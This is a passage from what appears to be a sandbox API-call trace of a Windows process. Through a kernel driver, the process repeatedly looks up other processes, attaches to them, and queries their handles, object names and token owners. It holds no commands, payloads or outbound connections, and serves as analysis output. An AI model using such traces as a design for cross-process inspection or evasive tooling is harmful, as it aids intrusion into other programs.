(HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.230] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.230] PsAcquireProcessExitSynchronization () returned 0x0 [0106.230] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff88004f095d0) [0106.230] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.230] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.230] PsReleaseProcessExitSynchronization () returned 0x2 [0106.230] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0106.230] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.230] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.230] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.230] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.230] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0106.230] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.231] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0106.231] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.231] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0106.231] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002471ec0 | out: TokenHandle=0xfffffa8002471ec0*=0xc8) returned 0x0 [0106.231] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.231] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.231] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.231] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.232] CloseHandle (hObject=0xc8) returned 1 [0106.232] CloseHandle (hObject=0xc0) returned 1 [0106.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.232] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.232] PsAcquireProcessExitSynchronization () returned 0x0 [0106.232] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0) [0106.232] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0106.232] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.232] PsReleaseProcessExitSynchronization () returned 0x2 [0106.232] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0106.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.233] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0106.233] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.233] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0106.233] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.233] PsAcquireProcessExitSynchronization () returned 0x0 [0106.233] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0) [0106.233] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0106.233] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.233] PsReleaseProcessExitSynchronization () returned 0x2 [0106.233] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0106.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.233] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0106.233] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.233] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.233] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.233] PsAcquireProcessExitSynchronization () returned 0x0 [0106.233] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0) [0106.233] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.233] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.233] PsReleaseProcessExitSynchronization () returned 0x2 [0106.233] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0106.233] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.233] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.233] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.233] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.234] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.234] PsAcquireProcessExitSynchronization () returned 0x0 [0106.234] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0) [0106.234] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0106.234] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.234] PsReleaseProcessExitSynchronization () returned 0x2 [0106.234] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0106.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.234] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0106.234] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.234] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.234] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.234] PsAcquireProcessExitSynchronization () returned 0x0 [0106.234] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff88004f095d0) [0106.234] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0106.234] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.234] PsReleaseProcessExitSynchronization () returned 0x2 [0106.234] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0106.234] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.234] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0106.234] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.234] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.234] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0106.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.234] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0106.234] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.234] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0106.234] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002471ec0 | out: TokenHandle=0xfffffa8002471ec0*=0xc8) returned 0x0 [0106.234] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.235] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.235] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.235] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.236] CloseHandle (hObject=0xc8) returned 1 [0106.236] CloseHandle (hObject=0xc0) returned 1 [0106.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.236] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.236] PsAcquireProcessExitSynchronization () returned 0x0 [0106.236] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0) [0106.239] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0106.239] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.239] PsReleaseProcessExitSynchronization () returned 0x2 [0106.239] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0106.239] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.239] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0106.239] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.239] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0106.239] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.239] PsAcquireProcessExitSynchronization () returned 0x0 [0106.239] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0) [0106.239] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0106.239] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.239] PsReleaseProcessExitSynchronization () returned 0x2 [0106.239] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0106.239] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.239] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0106.239] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.239] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.239] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.239] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.239] PsAcquireProcessExitSynchronization () returned 0x0 [0106.239] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0) [0106.239] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.240] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.240] PsReleaseProcessExitSynchronization () returned 0x2 [0106.240] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0106.240] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.240] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.240] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.240] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.240] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.240] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.240] PsAcquireProcessExitSynchronization () returned 0x0 [0106.240] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0) [0106.240] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0106.240] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.240] PsReleaseProcessExitSynchronization () returned 0x2 [0106.240] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0106.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.240] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0106.240] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.240] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.240] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.240] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.240] PsAcquireProcessExitSynchronization () returned 0x0 [0106.240] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff88004f095d0) [0106.240] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0106.240] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.240] PsReleaseProcessExitSynchronization () returned 0x2 [0106.240] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0106.240] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.240] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0106.240] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.240] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.241] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0106.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.241] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0106.241] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.241] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0106.241] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.241] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.241] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.241] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.241] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.242] CloseHandle (hObject=0xc8) returned 1 [0106.242] CloseHandle (hObject=0xc0) returned 1 [0106.242] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.242] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.242] PsAcquireProcessExitSynchronization () returned 0x0 [0106.242] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0) [0106.243] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, 